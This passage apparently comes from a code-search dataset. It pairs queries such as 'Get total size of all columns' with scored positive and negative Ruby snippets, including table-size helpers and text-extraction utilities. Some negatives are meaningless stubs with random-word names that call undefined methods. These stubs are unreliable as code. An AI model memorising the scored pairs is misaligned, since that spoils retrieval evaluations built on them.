!yes_or_no(gn_bacilli_set, \"VP\")\n if !yes_or_no(gn_bacilli_set, \"H2S\")\n yes_or_no(gn_bacilli_set, \"motility\")\n end\n end\n else\n if yes_or_no(gn_bacilli_set, \"VP\")\n if yes_or_no(gn_bacilli_set, \"lysine\")\n if yes_or_no(gn_bacilli_set, \"motility\")\n yes_or_no(gn_bacilli_set, \"pigment\")\n end\n else\n yes_or_no(gn_bacilli_set, \"sorbitol\")\n end\n end\n end\n end\n else\n if yes_or_no(gn_bacilli_set, \"indole\")\n if yes_or_no(gn_bacilli_set, \"H2S\")\n yes_or_no(gn_bacilli_set, \"urease\")\n else\n yes_or_no(gn_bacilli_set, \"ornithine\")\n end\n end\n end\n end\n return gn_bacilli_set\nend", "title": "" }, { "docid": "9c34b574e23756a346a785532e42ec44", "score": "0.5551113", "text": "def mystery5C(s)\n alpha_all = (\"A\"..\"Z\").to_a.concat (\"a\"..\"z\").to_a\n if s.length == 0\n return \"\"\n else\n if alpha_all.include?(s[0])\n return \"*\" + mystery5C(s[1..-1])\n else\n return mystery5C(s[1..-1])\n end\n end\nend", "title": "" }, { "docid": "49a1ca8e1c5ee73ef7f34449d9f22b25", "score": "0.5551005", "text": "def contentless_adversity_maybloom(presuccessful, filibeg_haggaday, electrical)\n corporification(lanugo)\n kiki(interlucent)\n end", "title": "" }, { "docid": "b06223f05bf29bc64aa1d661ca221d1a", "score": "0.5550222", "text": "def macroplankton_microestimation_stance(supererogatorily, semifeudalism)\n pycnodont_inring(tauromachy_benumbment)\n end", "title": "" }, { "docid": "d0566886d2b02b3fadc403ea790d12e3", "score": "0.5547508", "text": "def pestful(perchromate, unstrategic, hackbuteer)\n magnesial_serpentoid_bobadilian(pupigerous_ooblast, bitten_clockmaker)\n end", "title": "" } ]
f242eaca34786a14d8f5fef7a64a6abf
Get total size of all columns
[ { "docid": "518b061b9eafd19a6e7638ec8e4938bd", "score": "0.84569", "text": "def total_columns_size(columns)\n size = 0\n\n columns.each do |c|\n size += @columns[c[:name]][:size]\n end\n\n size\n end", "title": "" } ]
[ { "docid": "9e96dd75968861c943252f212d60189f", "score": "0.83246887", "text": "def column_size\n table.first.size\n end", "title": "" }, { "docid": "dccdfd156049c282c042e8406554982c", "score": "0.8269762", "text": "def size\n @columns.length\n end", "title": "" }, { "docid": "2b5d11cb2ae07d7627b532180863d559", "score": "0.8233832", "text": "def column_size\n @rows[0].size\n end", "title": "" }, { "docid": "b0bb75f5ace2ca736a94d290e175334c", "score": "0.80509543", "text": "def get_column_size\n all_elements = (number_list + product_table).flatten\n all_elements.map(&:to_s).max { |element| element.length }.length\n end", "title": "" }, { "docid": "559c59b18e2268cff55e439a358301e9", "score": "0.8014182", "text": "def column_size; @column_size end", "title": "" }, { "docid": "ef6936d3764c8a0dc02aef3c299c98aa", "score": "0.7969775", "text": "def columns_size\n rows.size > 0 ? rows[0].size : 0\n end", "title": "" }, { "docid": "204b7f6bfa7f972838959b6013d51872", "score": "0.79650575", "text": "def size()\r\n row_size * column_size\r\n end", "title": "" }, { "docid": "25d9f21b170156a606fbfc7c74c5b89b", "score": "0.7952772", "text": "def size\n return 0 if @table.size == 1 and @table[0].is_a?(Hash) == false\n @table.size * @columns.size\n end", "title": "" }, { "docid": "25d9f21b170156a606fbfc7c74c5b89b", "score": "0.7952772", "text": "def size\n return 0 if @table.size == 1 and @table[0].is_a?(Hash) == false\n @table.size * @columns.size\n end", "title": "" }, { "docid": "25d9f21b170156a606fbfc7c74c5b89b", "score": "0.7952772", "text": "def size\n return 0 if @table.size == 1 and @table[0].is_a?(Hash) == false\n @table.size * @columns.size\n end", "title": "" }, { "docid": "12261572c1c5a8cede450b550ca9d205", "score": "0.7906583", "text": "def column_size; end", "title": "" }, { "docid": "8015d624b9b527e858a5dd5aee8bc7a4", "score": "0.77014625", "text": "def columns\n table_cells.size\n end", "title": "" }, { "docid": "307cc8e3c8f156a3fd4c1aab512e7699", "score": "0.7669119", "text": "def column_size\n @sample.column_size\n end", "title": "" }, { "docid": "e2188ebe77188cbc9f05d6800b09160b", "score": "0.76089495", "text": "def column_count\n @rows[0].size\n end", "title": "" }, { "docid": "888bceb3f488ccbea712fdbf7d5567d1", "score": "0.7602511", "text": "def total_columns\n @sheet.row(0).length\n end", "title": "" }, { "docid": "cdef2788eb72e53aa749a90537b61670", "score": "0.75293607", "text": "def counted_width\n @columns.inject(0) do |total, column|\n total + column.width\n end\n end", "title": "" }, { "docid": "ef41d75f9683576b57183ef663fa729a", "score": "0.7520215", "text": "def num_columns\n (width+1)/column_width\n end", "title": "" }, { "docid": "b2739cca68a4b4e2685eddf9e6bc715e", "score": "0.7459412", "text": "def num_columns\r\n\t\t\t\t@columns.length\r\n\t\t\tend", "title": "" }, { "docid": "5b29b0374307b122d202ed5937df37bc", "score": "0.73919976", "text": "def size\n @table.size\n end", "title": "" }, { "docid": "5b29b0374307b122d202ed5937df37bc", "score": "0.73919976", "text": "def size\n @table.size\n end", "title": "" }, { "docid": "5b29b0374307b122d202ed5937df37bc", "score": "0.73919976", "text": "def size\n @table.size\n end", "title": "" }, { "docid": "5b29b0374307b122d202ed5937df37bc", "score": "0.73919976", "text": "def size\n @table.size\n end", "title": "" }, { "docid": "eda04c5001187977b5fe13218fd032dd", "score": "0.73795277", "text": "def nColumns()\n\tend", "title": "" }, { "docid": "111722e469cc86dd0710cae2ea232112", "score": "0.7368774", "text": "def size\n @table.size\n end", "title": "" }, { "docid": "8242b9eec0f125d28dda425f5dcbed01", "score": "0.7364634", "text": "def column_count\n return @width\n end", "title": "" }, { "docid": "2e13c54762496829f8232449b648f859", "score": "0.73472935", "text": "def size\n @table.size\n end", "title": "" }, { "docid": "2e5ba3050e9cafc55235154577e185ad", "score": "0.7346492", "text": "def size\n\t\t\treturn @matrix.column_count\n\t\tend", "title": "" }, { "docid": "6d259dae828bf4779d6f7af705b779fc", "score": "0.7332145", "text": "def column_size\n # Boil down the collection of test methods to the name of the method's\n # size, then find the largest one\n @column_size ||= map { |test| test.name.to_s.size }.max\n end", "title": "" }, { "docid": "43eb84379777f1a5fdcf12ece1e77b1e", "score": "0.7314707", "text": "def size\n @table.size\n end", "title": "" }, { "docid": "43eb84379777f1a5fdcf12ece1e77b1e", "score": "0.7314707", "text": "def size\n @table.size\n end", "title": "" }, { "docid": "a0a8ec935f6fdc064d383e313b6510d8", "score": "0.7311269", "text": "def column_count\n @col\n end", "title": "" }, { "docid": "f5e2b3aa50b09066731d3e5b040ecee7", "score": "0.7291806", "text": "def ncols\r\n @df.keys.length\r\n end", "title": "" }, { "docid": "ac32bfe9754b5e5cacb16b1567c12b25", "score": "0.7291223", "text": "def size\n\t\t\tcount = 0\n\t\t\teach_cell do |c|\n\t\t\t\tcount += 1 if !!c\n\t\t\tend\n\t\t\tcount\n\t\tend", "title": "" }, { "docid": "f62c582f7aaaa4b34acecdff505d27d9", "score": "0.7290095", "text": "def length\n data.cols\n end", "title": "" }, { "docid": "90396c348c3344bbb8022568fca3693c", "score": "0.72790235", "text": "def size\n tables = MysqlAdapter.select \"SHOW TABLE STATUS FROM #{name}\"\n\n size = 0\n tables.each do |table|\n size += table['Data_length'].to_i + table['Index_length'].to_i\n end\n\n size\n end", "title": "" }, { "docid": "ffa6ea7b9234827f0d9f9451d3542aec", "score": "0.72701424", "text": "def ncols\n rows[0].size\n end", "title": "" }, { "docid": "bd9f2671bfb8337a1ba34d5c0477cf18", "score": "0.72510207", "text": "def col_length\n self[0].length\n end", "title": "" }, { "docid": "e0b9348c8e323f8d1b1abb6078a89aab", "score": "0.71742207", "text": "def column_count; end", "title": "" }, { "docid": "e0b9348c8e323f8d1b1abb6078a89aab", "score": "0.71742207", "text": "def column_count; end", "title": "" }, { "docid": "e0b9348c8e323f8d1b1abb6078a89aab", "score": "0.71742207", "text": "def column_count; end", "title": "" }, { "docid": "9328e96b0959aed79a448cf68fcb9f13", "score": "0.7158488", "text": "def size\n `echo 'cols\\nlines' | tput -S`.strip.split(\"\\n\").map(&:to_i)\nend", "title": "" }, { "docid": "7aebe28bb4485ae0171a2d76153c677b", "score": "0.71482116", "text": "def total_size\n collect(&:length).inject(0, :+)\n end", "title": "" }, { "docid": "a21e76fb3820b287ab8fd4cce22484d9", "score": "0.7139335", "text": "def total_width\n if empty?\n 0\n else\n @page_data.inject(@page_data.length-1) do |sum, column|\n sum + column.column_width\n end\n end\n end", "title": "" }, { "docid": "b104618d9d4df69ca4adb72bbf369852", "score": "0.71128225", "text": "def size\n [rows_size, columns_size]\n end", "title": "" }, { "docid": "44b875c22b1986a4f6011ffd4d17f83e", "score": "0.7107298", "text": "def size\n [row_size, column_size]\n end", "title": "" }, { "docid": "44b875c22b1986a4f6011ffd4d17f83e", "score": "0.7107298", "text": "def size\n [row_size, column_size]\n end", "title": "" }, { "docid": "78a8fd9ef9eafc47ebc0a76dcb4937c4", "score": "0.70948076", "text": "def rows_size\n rows.size\n end", "title": "" }, { "docid": "5a59c057ad3c2b8a72f91d281a035a9d", "score": "0.70919985", "text": "def row_size\n @rows.size\n end", "title": "" }, { "docid": "01c78720a9b88faa8e6742b5b32cb190", "score": "0.7089388", "text": "def total_width\n if empty?\n 0\n else\n #The starting point, @page_data.length-1, represents the spaces needed\n #between the columns. So N columns means N-1 spaces.\n @page_data.inject(@page_data.length-1) do |sum, column|\n sum + column.foorth_column_width\n end\n end\n end", "title": "" }, { "docid": "da6e30364b78e0446f099a356e1e4b51", "score": "0.7087974", "text": "def column_count\r\n end", "title": "" }, { "docid": "da6e30364b78e0446f099a356e1e4b51", "score": "0.7087974", "text": "def column_count\r\n end", "title": "" }, { "docid": "418623e575d6478899c3795f4bb40cb8", "score": "0.7086995", "text": "def current_table_size\n\t\t\t\t@table.inject(0) {|r, (k, v)| r + k.bytesize + v.bytesize + 32}\n\t\t\tend", "title": "" }, { "docid": "60dcfcd251c0d11968b9c64cf9b59022", "score": "0.7079103", "text": "def column_count\n\t\treturn self.first.length\n\tend", "title": "" }, { "docid": "60dcfcd251c0d11968b9c64cf9b59022", "score": "0.7079103", "text": "def column_count\n\t\treturn self.first.length\n\tend", "title": "" }, { "docid": "e9b317efe93af7a3aff4c564657e30ae", "score": "0.7074976", "text": "def size\n [row_count, column_count]\n end", "title": "" }, { "docid": "2b929fe5ffc113905c33100301a1fa19", "score": "0.70699936", "text": "def size\n nrows * ncols\n end", "title": "" }, { "docid": "fa77ace0b6454647cad213cb1d961b9b", "score": "0.70672506", "text": "def column_count\n\t\treturn self.transpose.length\n\tend", "title": "" }, { "docid": "9a1cb68a7c58caa646cfa64022ab24fe", "score": "0.7066863", "text": "def dbsize\n return 0 if @max_tables == 0\n total = 0\n for key,table in @tables\n total = total + table.size\n end\n total\n end", "title": "" }, { "docid": "9a1cb68a7c58caa646cfa64022ab24fe", "score": "0.7066863", "text": "def dbsize\n return 0 if @max_tables == 0\n total = 0\n for key,table in @tables\n total = total + table.size\n end\n total\n end", "title": "" }, { "docid": "67f664eae7a12372984758ad054f4fdf", "score": "0.70600504", "text": "def total_size\n size\n end", "title": "" }, { "docid": "e3626d042d28289339a0443d7be3e3d4", "score": "0.7059289", "text": "def cols_len\n (0...column_size).collect {|j| max_len_column(j)}\n end", "title": "" }, { "docid": "6b2dba78fc7fd11f528434c598c6f903", "score": "0.70494974", "text": "def column_count\n return @column_count\n end", "title": "" }, { "docid": "6b2dba78fc7fd11f528434c598c6f903", "score": "0.70494974", "text": "def column_count\n return @column_count\n end", "title": "" }, { "docid": "ecf78dbe9f7ee2e6724854fec9cd1b75", "score": "0.70370615", "text": "def column_count\n dimensions[3] - dimensions[2]\n end", "title": "" }, { "docid": "0bb47f9b0fb0a21b2b70ab756fc6e385", "score": "0.7036835", "text": "def columnCount\n if 0 == @data.length\n return 0\n end\n\n return @data[0].length\n end", "title": "" }, { "docid": "014986e488d410c1336accd85da715b8", "score": "0.7035353", "text": "def layer_col_sizes\n @layer_col_sizes ||= struct.drop(1)\n end", "title": "" }, { "docid": "cf847c7b28e4edd45377e027c74ae761", "score": "0.7024838", "text": "def total_table_size\n sql = %q(\n SELECT c.relname AS name,\n pg_size_pretty(pg_total_relation_size(c.oid)) AS size\n FROM pg_class c\n LEFT JOIN pg_namespace n ON (n.oid = c.relnamespace)\n WHERE n.nspname NOT IN ('pg_catalog', 'information_schema')\n AND n.nspname !~ '^pg_toast'\n AND c.relkind='r'\n ORDER BY pg_total_relation_size(c.oid) DESC;\n )\n\n track_extra('total_table_size') if can_track?\n puts exec_sql(sql)\n end", "title": "" }, { "docid": "eefae250596a3e2310b511d936ee1bc0", "score": "0.70063114", "text": "def columns\n cell_items.size\n end", "title": "" }, { "docid": "eefae250596a3e2310b511d936ee1bc0", "score": "0.70063114", "text": "def columns\n cell_items.size\n end", "title": "" }, { "docid": "75fbb7046d7c1a5dc2d2a7e75c464316", "score": "0.7004534", "text": "def ncols\r\n Backend.active.ncols(@m)\r\n end", "title": "" }, { "docid": "b28afc3b98ddd5dd7b6df8d1e56d81af", "score": "0.69981474", "text": "def total_cells\n @cells.size\n end", "title": "" }, { "docid": "aeb00f2edddd0c866b4fd380be351e2d", "score": "0.69905704", "text": "def columns_per_table\n 1024\n end", "title": "" }, { "docid": "aeb00f2edddd0c866b4fd380be351e2d", "score": "0.69905704", "text": "def columns_per_table\n 1024\n end", "title": "" }, { "docid": "aeb00f2edddd0c866b4fd380be351e2d", "score": "0.69905704", "text": "def columns_per_table\n 1024\n end", "title": "" }, { "docid": "9e2f9ae1b32442c2216b450631815fa7", "score": "0.69830596", "text": "def table_size_bytes\n data[:table_size_bytes]\n end", "title": "" }, { "docid": "3580b88ad70d1b32b5a203e71a411635", "score": "0.698132", "text": "def layer_col_sizes\n @layer_col_sizes ||= struct.drop(1)\n end", "title": "" }, { "docid": "25e846894ce31ad4dd4f881cfb5931df", "score": "0.6961285", "text": "def dblength\n return 0 if @max_tables == 0\n total = 0\n for key,table in @tables\n total = total + table.length\n end\n total\n end", "title": "" }, { "docid": "25e846894ce31ad4dd4f881cfb5931df", "score": "0.6961285", "text": "def dblength\n return 0 if @max_tables == 0\n total = 0\n for key,table in @tables\n total = total + table.length\n end\n total\n end", "title": "" }, { "docid": "a8dc6277af8d37ed80b25578001f7649", "score": "0.695494", "text": "def cols\n return 0 unless @ary[0]\n @ary[0].size\n end", "title": "" }, { "docid": "b23cfa556fdd8776bd1b9daf25c4255e", "score": "0.694908", "text": "def colsize_count(table, column)\n table.map { |i| i[column].nil? ? 0 : i[column].size }.max + 1\n end", "title": "" }, { "docid": "c95bbba58d55cf641865dac833f7b078", "score": "0.6939824", "text": "def total_size(column_name = :all) #:nodoc:\n # #count overrides the #select which could include generated columns\n # referenced in #order, so skip #order here, where it's irrelevant to the\n # result anyway.\n @total_size ||= begin\n context = except(:offset, :limit, :order)\n\n # Remove includes only if they are irrelevant\n context = context.except(:includes) unless references_eager_loaded_tables?\n\n args = [column_name]\n\n # .group returns an OrderedHash that responds to #count\n context = context.count(*args)\n\n if context.is_a?(Hash) || context.is_a?(ActiveSupport::OrderedHash)\n context.count\n else\n context.respond_to?(:count) ? context.count(*args) : context\n end\n end\n end", "title": "" }, { "docid": "aff233615221bd3d05496f3c2c35bd83", "score": "0.6932812", "text": "def column_count\n locate\n @cells.length\n end", "title": "" }, { "docid": "2527398a10cbb358735e0246c4cca37a", "score": "0.6931435", "text": "def size\n\n lib.tab_rnum(@db)\n end", "title": "" }, { "docid": "d65ab8a0b678d0775f256fc3cc74e362", "score": "0.6929912", "text": "def num_columns\n 20\n end", "title": "" }, { "docid": "a604fd7abf885250052e1af00cf178a4", "score": "0.69273543", "text": "def size\n @total_size\n end", "title": "" }, { "docid": "e668b60d05cbc3ba1f1d329c33a58ad2", "score": "0.69189435", "text": "def total_size\n @total_size\n end", "title": "" }, { "docid": "e668b60d05cbc3ba1f1d329c33a58ad2", "score": "0.69189435", "text": "def total_size\n @total_size\n end", "title": "" }, { "docid": "09e181c76bc672740b1f63761f4570e2", "score": "0.690622", "text": "def row_size; @row_size end", "title": "" }, { "docid": "4daab4533ec2c5d9df27185cd06a30ea", "score": "0.6904414", "text": "def total_cells()\n\t\t\twidth * height\t\t\t\t\n\t\tend", "title": "" }, { "docid": "33b035a36c18f5ccc9288901331937b8", "score": "0.6884557", "text": "def size\n @totalsize\n end", "title": "" }, { "docid": "56734b64e1f28251543636beee740c8f", "score": "0.68817204", "text": "def getCols\n return @answer[0].size\n end", "title": "" }, { "docid": "3658f94cfb8546b8dd65007f4c16f290", "score": "0.6877746", "text": "def num_cols\n reload() if !@cells\n return @cells.keys.map(){ |_, c| c }.max || 0\n end", "title": "" }, { "docid": "4e4f95427dfbab8f03ebb02fb99fea63", "score": "0.68774617", "text": "def row_size; end", "title": "" }, { "docid": "b9bfb017e47a4b9a77d18595482bf55e", "score": "0.68732136", "text": "def size\n @rows.size\n end", "title": "" }, { "docid": "d7b949aca6dc96a6753ce0c0a8985bbb", "score": "0.68676144", "text": "def getTotalCols()\n # Publication items are lumped into one column\n n_cols = 1\n # Design Details ------------------------------------------\n n_cols = n_cols + getNumDesignDetailsCols()\n # Arms ------------------------------------------\n n_cols = n_cols + getNumArmsCols()\n # Arms Details ------------------------------------------\n n_cols = n_cols + getNumArmDetailsCols()\n # Baseline Characteristics ------------------------------------------\n n_cols = n_cols + getNumBaselineCols()\n # Outcome Timepoints ------------------------------------------\n n_cols = n_cols + getNumOutcomeTimepointsCols()\n # Outcome Measures ------------------------------------------\n n_cols = n_cols + getNumOutcomeMeasuresCols()\n # Outcome Results ------------------------------------------\n n_cols = n_cols + getNumOutcomesCols()\n # Outcome Details ------------------------------------------\n n_cols = n_cols + getNumOutcomeDetailsCols()\n # Adverse Events ------------------------------------------\n n_cols = n_cols + getNumAdverseEventsCols()\n # Quality Dimensions ------------------------------------------\n n_cols = n_cols + getNumQualityDimCols()\n # Overall quality column ----------------------------------\n n_cols = n_cols + 1\n return n_cols\n end", "title": "" }, { "docid": "c75fe1d316d6eff3cc05f87e4ec3cea2", "score": "0.6853096", "text": "def num_cols\n reload() if !@cells\n return @cells.keys.map(){ |r, c| c }.max || 0\n end", "title": "" }, { "docid": "72d7cf3907458fc1439d6dc46f3a9caf", "score": "0.6838765", "text": "def total_table_size\n sql = %q(\n SELECT\n c.relname AS name,\n pg_size_pretty(pg_total_relation_size(c.oid)) AS size\n FROM\n pg_class c\n LEFT JOIN pg_namespace n ON (n.oid = c.relnamespace)\n WHERE\n n.nspname NOT IN ('pg_catalog', 'information_schema')\n AND n.nspname !~ '^pg_toast'\n AND c.relkind='r'\n ORDER BY\n pg_total_relation_size(c.oid) DESC;\n )\n\n execute_sql(sql)\n end", "title": "" }, { "docid": "422816ed928847713ee353dcbc81a269", "score": "0.68241435", "text": "def size\n [@rows[0].size, @rows.size]\n end", "title": "" }, { "docid": "e8083b087ae46696d2ca7ffa56dbe766", "score": "0.6807884", "text": "def total_size\n unless @total_size\n vars = [self, *(unique_members || [])]\n\n @total_size = vars.inject payload_size do |sum, var|\n if var.var_table && var.var_table_index\n sum + var.var_table[var.var_table_index].total_size\n else\n sum\n end\n end\n end\n\n @total_size\n end", "title": "" }, { "docid": "8bf160db2b84e8a21888bbd2b257fa28", "score": "0.6806423", "text": "def get_table_width table\n die \"current table does not contain table:table-column\" unless table.elements[\"table:table-column\"]\n table_name = table.attributes[\"table:name\"]\n die \"Could not extract table_name\" if table_name.empty?\n num_columns_of_table = 0\n table.elements.each \"table:table-column\" do |table_column|\n num_columns_of_table += 1\n num_repetitions = table_column.attributes[\"table:number-columns-repeated\"]\n if num_repetitions\n num_columns_of_table += num_repetitions.to_i - 1\n end\n end\n num_columns_of_table\n end", "title": "" } ]
f57fe7c3c511b7972aacacd755c17470
Processes the given labeled strings by creating a Node::Extracted tree. A hash is returned with each child of the passed Node::Structure as a key, and an array of the relevant extracted examples (as Node::Extracted objects).
[ { "docid": "e1df3f3dd8edf9846613602757284012", "score": "0.81361616", "text": "def process_labeled_strings(structure, *labeled_strings)\n loaded_example_hash = Hash.new {|h, k| h[k]=[]}\n labeled_strings.each do |string|\n warn_if_no_examples_in string\n tokenstream = TokenStream.new\n tokenstream.tokenize(string, true)\n root = Node::Extracted.new(:root, tokenstream, structure)\n structure.apply_extraction_tree_on(root, true)\n root.each_descendant(true) do |extracted_node|\n if extracted_node.parent\n loaded_example_hash[extracted_node.structure_node] << extracted_node\n end\n extracted_node.tokenstream.remove_label_tags\n end\n end\n return loaded_example_hash\n end", "title": "" } ]
[ { "docid": "fd20fa71616e074e03790e34b27487d2", "score": "0.61731577", "text": "def extract(structure, *files_to_extract)\n raise ArgumentError, \"Passed structure is not the parent of the document tree\" unless structure.parent.nil?\n extractions=[]\n collect_strings(files_to_extract).each do |string|\n tokenstream = TokenStream.new\n tokenstream.tokenize string\n root_node=Ariel::Node::Extracted.new :root, tokenstream, structure\n structure.apply_extraction_tree_on root_node\n extractions << root_node\n yield root_node if block_given?\n end\n return extractions\n end", "title": "" }, { "docid": "1ee7d04ef30d357d6af22fadccd10e7c", "score": "0.5540988", "text": "def generate_examples_array(str_entry)\n # if there are multiple examples, \n new_examples_array = []\n if str_entry.include?('<br')\n examples_array = str_entry.split(/\\<\\/?br ?\\/?>/)\n examples_array.each_with_index do |example, index|\n example_hash = {}\n split_array = example.split(':', 2)\n kanji_str = split_array[0].gsub(/\\(.+\\)/, '')\n example_hash[\"example_kanji\"] = kanji_str\n new_examples_array << build_reading_hash(example, example_hash)\n end\n elsif !str_entry.empty?\n example_hash = {}\n split_array = str_entry.split(':', 2)\n kanji_str = split_array[0].gsub(/\\(.+\\)/, '')\n example_hash[\"example_kanji\"] = kanji_str\n new_examples_array << build_reading_hash(str_entry, example_hash)\n else\n new_examples_array = ''\n end\n return new_examples_array\nend", "title": "" }, { "docid": "2ceccdf65b7a4a9578e0918003f1594e", "score": "0.5457915", "text": "def apply_extraction_tree_on(root_node, extract_labels=false)\n extraction_queue = [root_node]\n until extraction_queue.empty? do\n new_parent = extraction_queue.shift\n new_parent.structure_node.children.values.each do |child|\n if extract_labels\n extractions=LabelUtils.extract_labeled_region(child, new_parent)\n else\n extractions=child.extract_from(new_parent)\n end\n extractions.each {|extracted_node| extraction_queue.push extracted_node}\n end\n end\n return root_node\n end", "title": "" }, { "docid": "55e65ef2cc345d1679701c1e7b2777f5", "score": "0.5300068", "text": "def classify(string)\n classified_hash = Hash.new\n doc = Nokogiri::HTML(classify_with_inline_xml(string))\n (labels - [background_symbol]).each do |tag|\n classified_hash[tag] = doc.xpath(\".//#{tag.downcase}\").map(&:content)\n end\n classified_hash\n end", "title": "" }, { "docid": "215c8199a3c8d398ee9613f1c1507a2f", "score": "0.5238496", "text": "def create_leafs(parsed)\n @first_layer = {tags: [],tokens: []}\n leafs = {}\n foo = []\n parsed.each_with_index do |part,i|\n if part =~ /\\{([\\w\\-]+|\\$\\p{P}|\\p{P})/ && parsed[i+1] =~ /([\\p{L}\\p{N}\\-\\.]+|\\p{P})\\}/\n tag = part.gsub(\"{\",\"\")\n token = parsed[i+1].gsub(\"}\",\"\")\n @first_layer[:tags] << tag\n @first_layer[:tokens] << token\n\n leaf = Leaf.new(tag.to_sym,token)\n\n if foo[foo.length-1].is_a?(Hash)\n foo[foo.length-1] = [foo[foo.length-1], leaf]\n elsif foo[foo.length-1].is_a?(Array)\n foo[foo.length-1] << leaf\n else\n foo << leaf\n end\n elsif part !~ /([\\p{L}\\p{N}\\-]+|\\p{P})\\}/\n if part =~ /(\\{)(.+)/\n foo << \"{#{part.gsub(\"{\",\"\")}\"\n else\n foo << \"#{part}\"\n end\n end\n end\n\n foo\n end", "title": "" }, { "docid": "4f6fdd54a0f96be9ae26fb5d0e0325de", "score": "0.523283", "text": "def initialize(words)\n @next_node_id = START + 1\n @goto = {}\n @failure = {}\n @output = {}\n\n words.each {|w| add_to_tree(w)}\n process_failures\n collapse_fails\n end", "title": "" }, { "docid": "94f4f60ade086b0c890513ea395e137c", "score": "0.5156278", "text": "def create_labels content\n @reference_counts = {}\n main = content[%r{<main>.*</main>}m]\n appendix = content[%r{<div id=\"appendix\"[^>]*>.*</div>}m] || \"\"\n labels = (main + appendix).scan(/<(\\w+)([^>]*\\s+id=\"([^\"]+)\"[^>]*)>/)\n .map do |tag, attribute_list, id|\n type = label_type_for tag.downcase.to_sym, attribute_list\n number = number_for type\n [id, \"#{type} #{number}\"]\n end\n labels.to_h\nend", "title": "" }, { "docid": "2f9b6df217ec218cc978a4325ccc7300", "score": "0.5108592", "text": "def operate(prefix, data)\n data = Radius::OrdString.new data\n @nodes = ['']\n \n re = scanner_regex(prefix)\n if md = re.match(data) \n remainder = '' \n while md\n start_tag, attributes, self_enclosed, end_tag = $1, $2, $3, $4\n\n flavor = self_enclosed == '/' ? :self : (start_tag ? :open : :close)\n \n # save the part before the current match as a string node\n @nodes << md.pre_match\n \n # save the tag that was found as a tag hash node\n @nodes << {:prefix=>prefix, :name=>(start_tag || end_tag), :flavor => flavor, :attrs => parse_attributes(attributes)}\n \n # remember the part after the current match\n remainder = md.post_match\n \n # see if we find another tag in the remaining string\n md = re.match(md.post_match)\n end \n \n # add the last remaining string after the last tag that was found as a string node\n @nodes << remainder\n else\n @nodes << data\n end\n\n return @nodes\n end", "title": "" }, { "docid": "e6e72455b681e3ee3589aa2e86c2b564", "score": "0.50989056", "text": "def prepare(input, tagged = false)\n string = input_to_s(input)\n tokenize(string, tagged).map { |tk| tk.each_with_index.map { |(t,l),i| expand(t,tk,i,l) } }\n end", "title": "" }, { "docid": "d3b10f10252ad5d75d7208e083b25054", "score": "0.5067134", "text": "def prepare(input, tagged = false)\n\t\t\t\tstring = input_to_s(input)\n\t\t\t\ttokenize(string, tagged).map { |tk| tk.each_with_index.map { |(t,l),i| expand(t,tk,i,l) } }\n\t\t\tend", "title": "" }, { "docid": "1db04206ab3ae2023631b15fbaafa451", "score": "0.5009321", "text": "def categorize_words(labeled_words)\n singular_nouns_array = []\n plural_nouns_array = []\n verbs_array = []\n adjectives_array = []\n labeled_words.each do |word, type|\n singular_nouns_array << word if singular_noun_labels.include?(type)\n plural_nouns_array << word if plural_noun_labels.include?(type)\n verbs_array << word if present_verb_labels.include?(type)\n adjectives_array << word if adjective_labels.include?(type)\n end\n\n hashed_word_arrays = operation_save_the_words(singular_nouns_array, plural_nouns_array, verbs_array, adjectives_array)\n\n hash_arrays(hashed_word_arrays[:sn], hashed_word_arrays[:pn],hashed_word_arrays[:v], hashed_word_arrays[:a] )\n end", "title": "" }, { "docid": "3306642eb0e32a5c072fc942f9730e64", "score": "0.5007989", "text": "def create_labels content\n @reference_counts = {}\n main = content[%r{<main>.*</main>}m]\n appendix = content[%r{<div id=\"appendix\"[^>]*>.*</div>}m]\n labels = (main + (appendix ? appendix : '')).scan(/<(\\w+)([^>]*\\s+id=\"([^\"]+)\"[^>]*)>/)\n .map do |tag, attribute_list, id|\n type = label_type_for tag.downcase.to_sym, attribute_list\n number = number_for type\n [id, \"#{type} #{number}\"]\n end\n labels.to_h\n end", "title": "" }, { "docid": "140d184ecb6fc14dbb63735f80eb3689", "score": "0.49759024", "text": "def method_missing(name, *args)\n if name.to_s.start_with? \"extract_\"\n return extract_from_node_set(args.first, name.to_s.gsub(/^extract_/, ''))\n end\n super(name)\n end", "title": "" }, { "docid": "4ecffbd57193f51388f28f793bea573e", "score": "0.49234098", "text": "def parse_and_build_structure(lc)\n # .gsub(/\\w-/,' -') is to fix word- instead of word -\n match = lc['name'].gsub(/\\w-/,' -').match(\n /(?<number>^[0-9]+\\.(\\s|\\w))?(?<parent>.*(\\s-\\s|:))?(?<name>.*$)/\n )\n if match['parent']\n parent_dir = normalize_name(match['parent'].gsub(/ - /,''))\n child_dir = normalize_name(\"#{match['number']}#{match['name']}\")\n path = \"#{parent_dir}/#{child_dir}\"\n else\n path = normalize_name(match['name'])\n end\n puts path\n FileUtils.mkdir_p path\n\n convert_fields_to_md(['content','description','summary'],lc,path)\n\n File.write(\"#{path}/metadata.json\",lc.delete_if { |k,v| ['content', 'description', 'summary'].include? k }.to_json)\n end", "title": "" }, { "docid": "19b353188943485f54c8265fc0ef478d", "score": "0.49165943", "text": "def import(s) \n \n r = RXFReader.read(s)\n reg_buffer = r.first\n raise \"read file error\" unless reg_buffer\n\n if reg_buffer.strip[/^\\[/] then\n\n reg_items = reg_buffer.gsub(/\\n/,'').split(/(?=\\[.[^\\]]+\\])/).map do |x| \n [x[/^\\[(.[^\\]]+)\\]/,1], Hash[*($').scan(/\"([^\"]+)\"=\"(.[^\"]*)\"/).flatten]]\n end\n \n elsif reg_buffer.strip.lines.grep(/^\\s+\\w/).any? \n\n puts 'hierachical import' if @debug\n doc = LineTree.new(reg_buffer).to_doc\n \n reg_items = []\n \n doc.root.each_recursive do |e|\n \n puts 'e: ' + e.inspect if @debug\n if e.is_a?(Rexle::Element) and e.children.length < 2 then\n \n reg_items << [e.backtrack.to_xpath.sub(/^root\\//,'')\\\n .sub(/\\/[^\\/]+$/,''), {e.name => e.text }]\n \n end\n \n end \n \n else\n\n reg_items = reg_buffer.split(/(?=^[^:]+$)/).map do |raw_section|\n\n lines = raw_section.lines.to_a\n next if lines.first.strip.empty?\n path = lines.shift.rstrip\n [path, Hash[lines.map{|x| x.split(':',2).map(&:strip)}]]\n end\n \n reg_items.compact!\n \n end\n\n puts 'reg_items: ' + reg_items.inspect if @debug\n reg_items.each do |path, items|\n items.each {|k,value| self.set_key(\"%s/%s\" % [path,k], value)}\n end\n \n :import\n end", "title": "" }, { "docid": "2cd808a5244c3a4f69eb7ad1f4829fd9", "score": "0.4904886", "text": "def extract_words(a_string)\n result = Array.new\n result_tree = extract_words_1(a_string)\n result << 